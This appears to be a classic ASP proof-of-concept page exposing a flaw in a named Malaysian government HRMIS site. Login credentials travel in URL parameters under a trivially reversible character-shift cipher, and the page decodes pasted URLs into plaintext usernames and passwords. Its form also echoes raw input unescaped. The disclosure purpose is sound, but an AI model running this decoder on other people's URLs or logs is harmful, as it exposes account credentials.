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HRMIS url parameter insecure P.O.C
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<%@ LANGUAGE="VBSCRIPT" %> | |
<% Option Explicit %> | |
<% | |
'Test online: http://www.interactive.jpa.gov.my/smp/hrmis.asp | |
Dim counter, myArray, parameter, important, notimportant, weneed, userandpass, user, pass, username, password | |
Private Function Encrypt(ByVal string) | |
Dim x, i, tmp | |
For i = 1 To Len( string ) | |
x = Mid( string, i, 1 ) | |
tmp = tmp & Chr( Asc( x ) + 1 ) | |
Next | |
tmp = StrReverse( tmp ) | |
Encrypt = tmp | |
End Function | |
Private Function Decrypt(ByVal encryptedstring) | |
Dim x, i, tmp | |
encryptedstring = StrReverse( encryptedstring ) | |
For i = 1 To Len( encryptedstring ) | |
x = Mid( encryptedstring, i, 1 ) | |
tmp = tmp & Chr( Asc( x ) - 1 ) | |
Next | |
Decrypt = tmp | |
End Function | |
If request.form("url") <> "" Then | |
myArray = Split(request.form("url"),"?") | |
parameter = myArray(1) | |
important = Mid(parameter, InStr(parameter, "EJsut")) | |
notimportant = Mid(important, InStr(important, "&fhbvhobm")) | |
weneed = Replace(important, notimportant, "") | |
weneed = Replace(weneed, "æ", "") | |
'We get user and pass part | |
userandpass = Split(weneed,"&") | |
user = userandpass(0) | |
pass = userandpass(1) | |
username = Mid(user, InStr(user, "=")) | |
username = Decrypt(username) | |
password = Mid(pass, InStr(pass, "=")) | |
password = Decrypt(password) | |
End If | |
username = Replace(username, "<", "") | |
password = Replace(password, "<", "") | |
%> | |
<!DOCTYPE html> | |
<html lang="en-us"> | |
<head> | |
<title>HRMIS Password Checker</title> | |
<meta name="description" content="HRMIS Password Checker."> | |
<meta name="viewport" content="width=device-width"> | |
</head> | |
<body> | |
<form method="post"> | |
<input name="url" type="text" size="120" value="<%= Request.Form("url") %>"> | |
<input type="submit" value="decode"> | |
</form> | |
<% If request.form("url") <> "" Then %> | |
<h1>User: <%= username %></h1> | |
<h1>Password: <%= password %></h1> | |
<% End If %> | |
<pre> | |
1. Login hrmis | |
2. Copy URL (Ctrl + C) | |
3. Paste dekat input dan decode | |
Tak. Aku tak simpan pun password ko. Aku dah tahu. | |
Sumber sekerip: https://gist.github.com/hariadi/6118942 | |
<pre> | |
</body> | |
</html> |
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